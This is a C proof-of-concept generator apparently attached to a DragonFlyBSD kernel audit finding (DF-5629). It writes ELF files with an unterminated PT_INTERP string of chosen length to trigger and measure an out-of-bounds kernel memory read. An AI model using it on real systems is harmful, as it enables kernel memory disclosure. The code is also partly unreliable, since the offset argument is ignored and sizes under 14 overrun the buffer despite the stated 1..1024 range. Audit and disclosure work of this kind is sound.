⬢ DragonFlyBSD Kernel Audit
DF-5629 / make_interp2.c
← back to finding ↓ download raw
/*
 * DF-5629 size-matrix builder: same as make_interp.c but the PT_INTERP
 * payload length is a parameter (1..1024).  Payload = marker + 'A' fill,
 * never NUL-terminated.  The kernel prints payload + whatever follows the
 * kmalloc(sz) chunk until a NUL -> measures OOB visibility per zone size.
 */
#include <sys/stat.h>
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

static void put16(uint8_t *p, uint16_t v){ p[0]=v&0xff; p[1]=v>>8; }
static void put32(uint8_t *p, uint32_t v){ memcpy(p, &v, 4); }
static void put64(uint8_t *p, uint64_t v){ memcpy(p, &v, 8); }

int
main(int argc, char **argv)
{
	uint8_t buf[4096];
	int sz, off = 128;
	const char *mark = "DF5629LEAKMARK";
	FILE *f;

	if (argc < 4) { fprintf(stderr, "usage: %s out.bin size offset\n", argv[0]); return 2; }
	sz = atoi(argv[2]);
	if (sz < 1 || sz > 1024 || off + sz > 4096) { fprintf(stderr, "bad size\n"); return 2; }
	memset(buf, 0, sizeof(buf));

	buf[0]=0x7f; buf[1]='E'; buf[2]='L'; buf[3]='F';
	buf[4]=2; buf[5]=1; buf[6]=1; buf[7]=0;	/* ELFOSABI_NONE -> DragonFly brand */
	put16(buf+16, 2); put16(buf+18, 62); put32(buf+20, 1);
	put64(buf+32, 64);
	put16(buf+52, 64); put16(buf+54, 56); put16(buf+56, 1);

	put32(buf+64+0,  3);		/* PT_INTERP */
	put64(buf+64+8,  off);
	put64(buf+64+32, sz);		/* p_filesz */
	put64(buf+64+40, sz);

	memcpy(buf + off, mark, strlen(mark));
	memset(buf + off + strlen(mark), 'A', sz - strlen(mark));

	f = fopen(argv[1], "wb");
	if (!f) { perror("fopen"); return 2; }
	fwrite(buf, 1, off + sz, f);
	fclose(f);
	chmod(argv[1], 0755);
	return 0;
}